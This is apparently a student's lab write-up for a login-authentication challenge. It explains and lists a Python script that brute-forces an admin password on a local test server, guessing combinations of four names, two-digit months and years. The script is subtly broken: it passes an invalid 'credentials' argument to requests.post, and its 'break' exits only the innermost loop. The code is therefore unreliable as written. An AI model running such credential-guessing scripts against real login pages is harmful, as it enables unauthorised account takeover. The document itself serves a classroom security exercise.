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Login Authentifications Challenges: Challenge 2

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<div align="center">Login Authentication Challenges Report: Challenge #2</div>

Step #1:

Referencing the *Challenge 1*, this challenge is considered to be similar in the same methods. By taking into account now knowing the 4 people, 'Mike', 'Jane', 'John' , 'Mark', we can create an attack that would utilize this to our advantage.

1. We create a 'For Loop' that iterates through the given format.

2. We first instantiate the first 'For Loop' to be names.

    a. Then instantiate the second 'For Loop' to be months. Leading with 01, 02, etc.

        i. After we instantiate the last 'For Loop' to be years.

        ii. Once instantiated, we input credentials of user and password.

        iii. Request data to be sent to the URL.

        iv. Create an 'If-Then' statement. If output is equal to **not** 'ACCESS DENIED', then concatenate together names, months, and years. Then break

3. Finally outprint the password.

```python
1    # Dylan Ramdhan, CS 357
2    # Login Authentification: Challenge 2.0
3
4    # Importing Requests for the Website
5    import requests
6
7    url = "http://localhost:8080/login"
8
9    # Creating password variable
10   password = ''
11
12   ### Creating a Nested For Loop to Sift Through to find Password ###
13
14   # Names
15   for names in ['mike', 'jane', 'john', 'mark']:
16
17       # Months
18       for months in ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12']:
19
20           # Iterating through the Range of Years
21           for years in range(2023, 1900, -1):
22               credentials = {
23                   'username': 'admin',
24                   # Password is combined with: [names][months][years]
25                   'password': names+months+str(years)
26               }
27
28               # Requesting to be Tested on the website
29               r = requests.post(url, credentials = credentials)
30
31               # Checking to see if ACCESS GRANTED
32               if 'ACCESS DENIED' not in r.text:
33                   password = names+months+str(years)
34                   break
35
36   # Printing out the Password
37   print(password)
```